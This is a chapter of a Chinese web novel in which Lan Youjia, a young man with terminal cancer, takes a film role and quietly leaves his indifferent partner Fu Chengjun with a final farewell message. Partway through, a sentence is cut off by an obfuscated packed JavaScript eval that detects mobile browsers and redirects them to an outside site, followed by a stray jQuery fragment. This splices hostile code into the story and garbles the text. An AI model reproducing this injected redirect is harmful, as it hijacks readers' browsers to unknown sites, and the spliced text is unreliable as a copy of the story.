“我不该给李哥打那个电话的,因为我也是后来才发现,原来自己一点也不了解癌症,不知道它发作起来根本没有规律,随时都可能发生状况。” 恰如被疼痛折磨的今夜。 “我现在的身体,恐怕没有办法像正常人一样顺利拍完一部电影,需要太多人迁就我,等我……我不想给你们添那么多麻烦,我甚至没有什么表演经验,不是你们最合适的人选。” “对不起。”他垂下眼眸,为自己的过失诚恳道歉,“我可能又浪费你们的时间和精力了,是我的错。” 休息室里很安静,兰又嘉没有去看梅戎青的神情,他已经无力负担那些计划之外的斥责或是怒火。 这个漫长难熬的晚上,他过得太累了。 为什么自己总是做错事呢? “另外,即使抛开身体能不能撑住的问题,贸然联系李哥的时候,其实我也忘记考虑这件事对整部电影的影响,是我太草率了。” “如果真的由我来出演主角,等观众知道了我的病,是不是会有道德上的争议?剧组会挨骂,你也会受到指责的,被说不该用这样的演员,对不对?” 不合时宜的选择、无法僭越的道德…… 他的生命里好像充满了错误。 一次又一次的错误。 “梅导,真的很抱歉,我——” “别说了。” 女导演略显冷凝的声音,打断了他无休无止的负疚。 兰又嘉轻应了一声,顺从地闭上嘴,眉眼低垂,等待着即将劈头盖脸降下的风暴。 可下一秒,他听见对方异常平静的问句。 “你想不想演这个角色?” “……什么?” “我问你,你想不想演这个角色。” 良久,空气里才响起轻而喑哑的拒绝。 兰又嘉说:“我不能演。” 得到答案的梅戎青忽地笑了起来。 她问:“你知道这个角色的结局是什么吗?” 不等眼前人开口回答,她就自言自语似地公布了答案:“他死了。” 传入耳畔的每一个字节,都无比清晰。 “死在了他一生中最耀眼、最灿烂的时刻。” 话音落地,原本正被窒息海水逐渐吞没的青年,蓦然间抬头看她。 他看见了一双此时亮得惊人的眼睛。 和一种不顾一切、璀璨夺目的疯狂。 一个小时后。 兰又嘉推开家门,装饰温馨的屋子一片漆黑,空空荡荡,傅呈钧不在。 他当然不会在这里。 独自回来的青年这样想着,神情没有什么变化。 他打开灯,径直走进房间,脱下穿了一夜的衬衫,光线照耀着白皙光洁的后背,勾勒出那对线条愈发清晰的蝴蝶骨。 这件款式简单的衬衣其实已经不太合身,如今穿在他身上大了一圈。 可傅呈钧在某一天说过,它很衬他。 大约是很久以前了。 兰又嘉将衬衣随手丢在一旁,从衣帽间里随意拿了一件衣服换上,然后翻开自己手机的通讯录,很快从中找出一个名字。 “赵阿姨吗?晚上好,我是兰又嘉,你现在有没有时间过来一趟?” “是我,兰先生啊!你好你好,要做日常保洁吗?” “不是,是把家里彻底收拾干净,就像新房子一样,尤其要把我房间里的东西丢掉。” “要大扫除哦?那得做好几个小时,我这里有个活还没结束,等做完再过来可能有点晚了,会影响你们休息……兰先生,你看明天行不行?你方便的话,明天我一早就过来,可以吗?” 听到电话那头小心翼翼的询问,兰又嘉只犹豫了一下,就答应下来:“好,那我报一个号码给你,明天你过来前联系他开门,他姓梁。” 他把傅呈钧助理的联系方式给了保洁阿姨。 “好的好的,我记下来了。兰先生明天是不在家吗?” “嗯,我不在,到时候你不用再问我,除了家具和没拆标签的新衣服,所有我用过的东西都需要清理,全都拿去丢掉。” 因为不仅是明天,他以后也不会在了。 挂断电话,兰又嘉从柜子里翻出了以前常用的行李箱。 十分钟后,他全部的东西就收拾完毕了。 箱子甚至没能填满,里面只装了一沓薄薄的衣物,一些证件,和一堆五花八门的药片。 他余下的时光不过半年,连冬装都不一定用得上。 那些不必带走的物品,明天就会被全部清理走。 没落下最重要的东西就行。 兰又嘉合上箱子,仔细检查了一遍这间住了两年的房间,确定自己没有忘记带走每一板止痛药。 他如今在吃的那种止痛药,每次开药都有规定量,不能多开,因而更不能遗漏浪费。 余光瞥见了平时放药的抽屉深处有张被揉成一团的纸,他弯腰拿起来。 是张CT检查申请单。 临床诊断那一栏里写着医生怀疑的病症。 看着纸张上遍布的细密褶皱,尽管时间只过去了一周,兰又嘉却几乎想不起来那天自己惊惶绝望的心情了。 他现在只觉得平静,甚至有几分难以言喻的期待。 因为他又有了一个得到爱的机会。 很多人的爱。 或许他也能在最耀眼、最灿烂的时刻死去。 这大概已经是命运对他最慷慨的垂青。 灯光下的脸庞白皙脆弱,流露出一点心满意足的微笑。 下一秒,检查单被潦草撕碎,丢进了垃圾桶。 就这样,他处理完了自己留在这个家里的痕迹。 该离开了。 去梅戎青为他安排的住处。 明天开始,兰又嘉就要去上表演课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14833376|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 他会好好度过这崭新奇异、饱含指望的三个月。 兰又嘉提着行李箱穿过这间空荡寂寥的屋子。 他安静地路过了名义上属于傅呈钧、但其实鲜少被用来睡觉的个人卧室,路过了时常盛着两道身影的书房,路过了从不会有人闲极无聊来缠着他的琴房…… 他路过了自己在这个家里留下的点滴痕迹。 即将被全部清空,一切归零的痕迹。 直到在大门处关灯转身之前,耳后被碎发遮掩的那道伤痕隐隐发烫,兰又嘉本能地伸手去触摸时,才蓦地想起了什么,脚步微顿。 虽然不必正式提分手,但总该跟对方说一声自己要离开。 他垂下眼眸,拨出那个再熟悉不过的号码。 听筒里响起的也是一道毫不意外的回答。 “对不起,你所拔打的电话——” 傅呈钧常常很忙碌。 兰又嘉动作熟稔地摁掉了电话。 反正是通知,不是商量,能不能得到对方的即时回应并不重要。 发条消息过去也一样。 他点开消息列表最上方的那个聊天框,顺手取消了置顶。 曾经充满他单方面絮语的聊天页面,如今已经显出几分冷清。 兰又嘉本以为在这种彻底告别的时刻,自己会有很多要说的话,可事实上,他的指尖静静停顿在输入框边,心头却一片空白。 想了很久,才找到一个或许最合适的句子。 孤零零站在玄关的青年很快发完消息,收起手机,关了灯。 前天还洋溢着幸福气味的屋子霎时陷入一片黑暗。 房门被轻轻关上。 夏夜树影摇晃、车流不息,明亮街灯拉长了马路两边零星走过的身影,拖着行李箱的人招手叫停一辆出租车。 他俯身将行李塞进后备箱的时候,头顶的夜空里正划过一阵人们早已习以为常的遥远轰鸣。 夜色深深,飞机在夜幕中留下一道醒目的红色光点。 而兰又嘉坐上车离开了那个家。 向着截然不同的方向,渐行渐远。 舷窗旁的男人沉默地俯瞰玻璃之外灯火斑斓、触不可及的城市。 车里的青年却再也没有回头看那片越来越远的美丽街景。 三年时光,就这样结束了。 放在口袋里的手机屏幕漆黑,无声地镌刻着那些从未对等的、泾渭分明的对话。 十天前。 【算了,我还是不要去公司烦你了,你肯定在忙。】 【今天晚上回家好不好?】 【我真的很想见你。】 【明天回来。】 两天前。 【后天晚上我会来。】 【后天晚上?你要来参加我的毕业晚会吗?!】 【太好了,谢谢你!】 【我很开心,真的特别开心。】 【今晚你会不会回来?要一起吃晚餐吗?】 【嗯,回来。】 【那晚上见!】 此夜。 最新一条信息搭乘电波穿过虚空,停留在暂时无法送达的服务盲区,等待被读取。 是那句迟到了整整三年,终于在今晚悄然回应的礼貌道别。 简短却刻骨。 【再见,傅先生。】